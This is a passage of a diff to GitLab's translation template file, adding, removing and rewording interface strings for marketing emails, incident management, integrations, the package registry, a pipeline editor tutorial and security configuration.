msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16615,6 +16869,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16627,9 +16884,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16642,6 +16908,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16768,6 +17037,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16807,6 +17079,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16822,10 +17097,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16861,9 +17136,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -16939,6 +17223,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -16978,6 +17265,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17017,6 +17307,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17032,9 +17325,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17164,7 +17454,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17360,10 +17650,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17441,7 +17731,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17627,7 +17917,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -17861,6 +18151,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -17930,12 +18223,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -17963,6 +18250,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18008,6 +18316,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18110,6 +18421,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18119,6 +18433,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18152,13 +18472,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18182,7 +18502,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18257,6 +18577,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18272,10 +18595,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18362,7 +18685,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18410,6 +18733,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18425,6 +18760,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18518,6 +18856,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18551,6 +18892,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18578,9 +18922,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18617,6 +18982,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18858,18 +19226,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19041,6 +19403,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19077,6 +19445,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19558,7 +19929,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19816,6 +20187,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -19903,6 +20277,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20098,6 +20475,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20149,9 +20529,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20440,10 +20817,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20543,6 +20920,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20717,10 +21097,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -20976,6 +21356,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21108,6 +21494,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21135,6 +21524,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21301,9 +21693,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21403,9 +21792,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21752,7 +22138,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21779,6 +22165,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -21992,6 +22381,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22314,6 +22706,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22693,7 +23088,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22792,7 +23187,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -22858,6 +23253,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -22885,6 +23283,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -22927,6 +23328,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -22948,6 +23352,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -22999,9 +23406,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23011,6 +23427,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23026,6 +23445,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23071,6 +23493,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23083,12 +23508,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23185,7 +23604,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23200,6 +23619,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23251,6 +23673,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23386,6 +23811,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23464,6 +23892,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23518,6 +23949,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23584,6 +24063,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23641,6 +24123,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23662,6 +24147,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23716,6 +24204,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23746,9 +24237,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24046,9 +24534,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24085,6 +24579,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24094,6 +24591,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24127,9 +24627,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24157,6 +24654,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24313,6 +24813,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24667,7 +25170,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -24925,6 +25428,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25078,9 +25584,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25555,9 +26058,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25609,12 +26109,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25627,6 +26121,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25639,9 +26136,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25657,10 +26151,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25669,9 +26163,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26419,9 +26910,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26431,6 +26919,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26528,7 +27019,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26760,9 +27251,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26778,6 +27266,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27713,6 +28204,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28279,16 +28782,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
